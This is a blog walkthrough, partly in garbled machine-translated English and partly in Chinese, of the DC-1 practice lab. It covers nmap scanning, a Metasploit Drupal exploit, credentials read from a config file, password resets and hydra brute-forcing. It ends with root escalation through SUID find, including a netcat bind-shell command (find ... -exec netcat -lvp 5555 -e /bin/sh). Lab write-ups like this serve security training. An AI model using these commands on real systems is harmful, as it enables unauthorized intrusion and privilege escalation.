Drone DC-1 Practice: With msfconsole vulnerability inquiry after use getshell, suid mention the right to adopt

1. drone IP address discovery

2. Check the version and service drone

  • -sV: used to scan the version running on the target host and port software
  • -p-: scan all ports 0-65535
  • -sS / sT / sA / sW / sM: Specifies TCP SYN / Connect () / ACK / Window / Maimon scans a manner to scan the target host
  • -Pn: skip default option instructs NMAP discovery checks and perform a full scan of the target port. When the host firewall protection is blocked ping scanning probe, which is very useful.
  • -A parameter: Comprehensive scanning. Slow, not recommended
  • -n: to disable reverse DNS resolution

111 port is SUN company 's RPC (Remote Procedure Call, Remote Procedure Call) services are open ports, mainly for inter-process communication distributed in different computer systems, are very important in a variety of network services components RPC. Common RPC service has rpc. mountd, NFS, rpc. statd, rpc. csmd, rpc. ttybd, amd more. In Microsoft's Windows, there are also RPC service.

3. Access IP address of the Web page

Drupal is written in PHP Open Source Content Management Framework (CMF), which together constitute a content management system (CMS) and PHP development framework (Framework).

Page information collected ideas:

Attempts to access sensitive files robots.txt, sweeping directory, user name and password blasting, Whatweb scanning, see page source code (see there is no information available), Powered by drupal (cms find related vulnerability), scanning the backup file, password reset

4. Scan directory

Method a: command can scan dirb

Method two: Sword tool for scanning (due to slow, not here screenshot)

Direct view sensitive files robots.txt

        

5. Vulnerability Search

Method One: Google, bing, Baidu search drupal 7 Vulnerability

Method 2: Open msfconsole search

从上述搜索结果来看,有OpenID外部实体注入、用户枚举、sql注入、远程命令执行、远程PHP代码执行、web服务反序列化RCE、PHP XML-RPC任意代码执行漏洞

5.漏洞利用

就选那个上面列举的、我没有译出来的一个模块漏洞吧

设置rhosts靶机IP地址,然后进行exploit  

注:成功的小伙伴直接往下滑动浏览看后续成功后的步骤(建议在此设置快照,防止后面出错)

不知道什么原因失败了,可能是已经打了补丁,总之没有会话建立,查看靶机居然变成了这样

尝试回车,又恢复了正常

再次exploit依旧失败,刷新访问网页,报错,应该是80端口除了问题

使用nmap查看端口状态,显示80端口已过滤

于是我又尝试将靶机的网卡手动重启,再次查看80端口恢复了……

重新进行模块利用,依旧exploit失败,回到之前的错误,死循环!

没办法,我第二天又换了一个DC-1的靶机,结果成功了,很显然靶机出了问题

此时kali机IP地址:192.168.109.159 ,靶机IP地址:192.168.109.160

输入shell,进行交互,查看当前用户

使用python 切成交互式的shell:python -c 'import pty;pty.spawn("/bin/bash")'  ,查看当前目录下文件发现flag1.txt

文件提示cms需要一个config文件,搜索一下drupal的配置文件

进入该路径下,并查看文件,flag2 提示暴力破解不是唯一的方法

往下看,还发现了一些数据库信息:数据库名dbuser,数据库密码R0ck3t

尝试登录数据库

发现存在两个库,进入drupaldb库下,看看有没有用户表

……

发现用户表,查看有哪些用户,发现drupal密码存储方式看不大懂,网页搜索了解一下,drupal是把密码和用户名或其它随机字符串组合在一起后使用 MD5 方式加密。

注意:获取admin密码还有以下两种方案:

  • 这一步想要用hashcat暴力破解的小伙伴可参考:https://klionsec.github.io/2017/04/26/use-hashcat-crack-hash/
  • 采取密码重置方法(即drupal7忘记管理员密码):https://www.yuzhi100.com/article/drupal-7-chongzhi-guanliyuan-mima

我这里没有采取上面两种方法,而是用drupal自带的脚本 password-hash.sh 进行加密,密码为 drupal

在数据库中修改admin的密码为drupal

获取用户名admin,密码drupal后,在访问主页登录(注:靶机ip地址由于重启发生改变,不影响下面操作)

发现了flag3文件,打开看看

flag3提示,需要用到perm找到passwd,但需要执行该命令来确定如何获取shadow中的内容。

查看用户信息

尝试查看/etc/shadow 失败,如果得知/etc/shadow 和 /etc/passwd 可以使用John the Ripper破解密码

/etc/shadow 敏感文件,储存加密后的用户密码(一般是哈希值)

可参考:https://www.cyberciti.biz/faq/understanding-etcshadow-file/

通过hydra爆破,获取用户flag4的密码为orange

从/etc/passwd文件中获取了flag4的路径,进入该路径并查看相关文件flag4.txt

根据提示,需要获取root权限,可使用suid进行提权,查找正在系统上运行的所有suid可执行文件

以上所有二进制文件都将以root用户权限来执行,准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。因为它们的权限中包含“s”,并且它们的属主为root。如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root具有提权功能的Linux可执行文件包括:Nmap、Vim、find、Bash、More、Less、Nano、cp。

发现find命令位于suid权限位,查看find权限

创建空文件test,并执行命令如下

至此,提权成功!

还可以切换用户,使用用户flag4进行提权操作(大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root)

在flag4用户下执行:find pentestlab -exec netcat -lvp 5555 -e /bin/sh \; 

打开kali新窗口:nc 靶机IP地址 5555         输入whoami,得到root权限       如下图例所示:

发布了103 篇原创文章 · 获赞 26 · 访问量 6145

Guess you like

Origin blog.csdn.net/qq_41210745/article/details/103475596